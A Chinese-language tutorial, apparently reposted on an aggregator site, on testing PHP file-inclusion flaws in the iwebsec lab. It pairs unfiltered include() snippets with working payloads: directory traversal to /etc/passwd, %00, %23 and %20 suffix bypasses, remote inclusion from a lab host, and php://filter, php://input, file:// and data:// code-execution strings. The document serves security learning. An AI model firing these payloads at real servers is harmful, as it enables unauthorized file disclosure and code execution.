Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

这篇具有很好参考价值的文章主要介绍了Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Web安全:文件包含漏洞测试.

文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() 等等 ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞。


目录:

Web安全:文件包含漏洞测试.

文件包含漏洞的执行规则:

 文件包含漏洞测试:

(1)本地文件包含.

(2)本地文件包含绕过.

(3)远程文件包含.

(4)远程文件包含绕过.

(5)php // filter 伪协议.

(6)php // input 伪协议.

(7)file:// 伪协议利用.

(8)data:// 伪协议.


文件包含漏洞的执行规则:

文件包含漏洞可以怎么理解,就是一个 A 文件包含着另一个 B 文件,将包含着 B 文件里面的内容,
以这个网站的脚本代码 去执行(如果你的网站是php就是php去执行文件里面的内容,如果你的网站是
python,那就是python去执行文件里面的内容)
测试使用的靶场是:iwebsec 靶场

搭建过程:https://tianyuk.blog.csdn.net/article/details/130341391

文件包含漏洞测试:

(1)本地文件包含.

原理:本地文件包含是通过浏览器包含Web服务器上的文件,这种漏洞是因为浏览器包含文件时没有
进行严格的过滤,导致允许遍历目录的字符注入浏览器中,然后进行执行.
代码审计:

<?php
	if(isset($_GET['filename'])){            // 可以查看没有进行任何过滤
	
    $filename  = $_GET['filename'];
    include($filename);
	}else{
		exit();
	}
?>
测试代码:(读取服务器中的 test.tst 文件,然后成功执行了文件中的代码.)

?filename=test.txt

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

测试代码:(如果不知道,服务器中的文件在哪,则使用../../../../../)(可以多加几个../)
然后再重新从一个文件,一步一步进行查看.

?filename=../../../../../etc/passwd

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)


(2)本地文件包含绕过.

代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename . ".html");        //可以看见只能使用指定后缀.(.html)
	}else{
		exit();
	}
?>
绕过限制指定后缀的方法:使用(%00)进行截断.
测试代码:

?filename=test.txt%00 

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

测试代码:

?filename=../../../../../etc/passwd%00

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)


(3)远程文件包含.

远程文件包含就是通过URL的形式包含的其他服务器上面的文件,从而使目标主机执行恶意代码攻击.
代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);                //可以看见没有任何过滤,可以直接远程包含攻击
	}else{
		exit();
	}
?>
测试代码:(添加另一个服务器的文件链接)

?filename=http://192.168.0.105:801/bgxg.txt

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)


(4)远程文件包含绕过.

代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename . ".html");         //可以看见只能使用指定后缀.(.html)
	}else{
		exit();
	}
?>
绕过限制指定后缀的方法:

(1) # 绕过 (%23)
 
(2) 空格 绕过 (%20)
测试代码:(添加另一个服务器的文件链接)(加 %23 【#】进行绕过限制)

?filename=http://192.168.0.105:801/bgxg.txt%23

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

测试代码:(添加另一个服务器的文件链接)(加 空格 【%20】进行绕过限制)

?filename=http://192.168.0.105:801/bgxg.txt%20

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)


(5)php // filter 伪协议.

php://filter 是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,常用于读取文件.
代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);                    //可以看见没有任何过滤
	}else{
		exit();
	}
?>
测试代码:

?filename=php://filter/convert.base64-encode/resource=文件路径

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)


(6)php // input 伪协议.

php//input任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据.
代码审计:

代码 1: (如果是 GET 方式,php://input 就可以用了)

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);                    //可以看见没有任何过滤
	}else{
		exit();
	}
?>

代码 2:(如果是 POST 方式,php://input 就不能用了)

<?php
    echo file_get_contents("php://input");
?>
测试代码:

?filename=php://input 

<?php phpinfo(); ?>        //显示服务器信息.

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)


(7)file:// 伪协议利用.

代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);
	}else{
		exit();
	}
?>
测试代码:(?filename=file:///文件路径)

?filename=file:///etc/passwd

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)


(8)data:// 伪协议.

主要用于数据流的读取,如果传入的数据是PHP代码,就会执行任意代码.
?filename=data://text/plain;base64,(base64编码后数据)

<?php phpinfo();?>         base64编码后       PD9waHAgcGhwaW5mbygpOz8+

base64编码 在线工具:https://c.runoob.com/front-end/693/

然后再把 +  url编码 变为 %2b

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

测试代码:

?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

     

    

   文章来源地址https://www.toymoban.com/news/detail-474407.html

到了这里,关于Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【web安全】文件包含漏洞

    目录 1.什么是文件包含漏洞 2.产生原因 3.文件包含的类型 3.1本地文件包含 3.2远程文件包含 4.攻击利用手法 4.1 file:协议 4.2 php://协议 ​4.3 zip://,bzip2://,zlib://协议  4.4 data://协议 4.5 PHP伪协议总结  5.如何防御? 6.常见系统的默认路径 7.文件包含漏洞的奇技淫巧 LFI+日志文件gets

    2024年02月07日
    浏览(12)
  • 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径、绝对路径、相对路径) 具有文件可读权限 提交参数 http://localhost/include/include.php?path=C:windowssystem32driversetchosts ,读取本地host文件 提交参数 http://localhost/include/includ

    2024年02月11日
    浏览(17)
  • 文件包含漏洞利用思路

    通过 PHP 函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,导致意外的文件泄漏甚至恶意代码注入。 php中常见的文件包含函数有以下四种: include() require() include_once() require_once() include与require基本是相同的,除了错误处理方面: include(),只生成

    2024年02月16日
    浏览(16)
  • 文件包含漏洞利用和防御

    使用函数包含指定文件的代码,没对函数的参数进行过滤,可被用户控制包含恶意文件并执行代码 漏洞分类 本地文件包含:目录遍历、任意文件读取、包含日志文件getshell、图片马getshell、伪协议读取文件/命令执行、包含phpinfo上传的临时文件 远程文件包含:远程木马getshe

    2024年02月02日
    浏览(15)
  • PHP文件包含漏洞(利用phpinfo)复现

    PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来拿到权限。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。 在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的

    2024年02月16日
    浏览(10)
  • 学习前端安全:防止常见的Web攻击和漏洞:简单而有效

    作者:禅与计算机程序设计艺术 安全是所有Web开发人员都需要关注的一个重要方面,因为信息在网络上传输时都存在各种隐患。攻击者利用这些隐患对我们的网站造成破坏,甚至导致服务器被入侵。因此,在Web开发过程中,我们需要对安全问题保持警惕并采取必要的措施保障

    2024年02月11日
    浏览(16)
  • Web漏洞-文件包含漏洞超详细全解(附实例)

    目录 一、导图 二、文件包含漏洞 1.脚本代码 2.原理演示 3.漏洞成因 4.检测方法 5.类型分类 三、本地文件包含漏洞的利用 无限制本地文件包含 有限制本地文件包含 四、远程文件包含漏洞的利用 无限制远程文件包含 有限制远程文件包含 五、协议的玩法 读取文件内容 执行代

    2023年04月25日
    浏览(8)
  • 你写的防止任意文件上传漏洞的代码,不一定安全

    上传一个PHP文件,提示文件类型错误,使用ApiPost修改上传的Content-Type,把原先的application/x-httpd-php修改为image/png,则可绕过。 因为: $_FILES[\\\'type\\\']是根据上传文件的content-type获取的,并文件本身的mime-type,而content-type又可以被篡改。 说话得有依据,经过反复的追Laravel的源码:

    2024年02月04日
    浏览(12)
  • 【网络安全】文件包含漏洞解析

    博主昵称:跳楼梯企鹅 博主主页面链接: 博主主页传送门 博主专栏页面连接: 专栏传送门--网路安全技术 创作初心:本博客的初心为与技术朋友们相互交流,每个人的技术都存在短板,博主也是一样,虚心求教,希望各位技术友给予指导。 博主座右铭:发现光,追随光,

    2024年02月01日
    浏览(13)
  • Web安全——Web安全漏洞与利用上篇(仅供学习)

    漏洞描述   Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。 测试方法    在发现

    2024年02月10日
    浏览(11)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包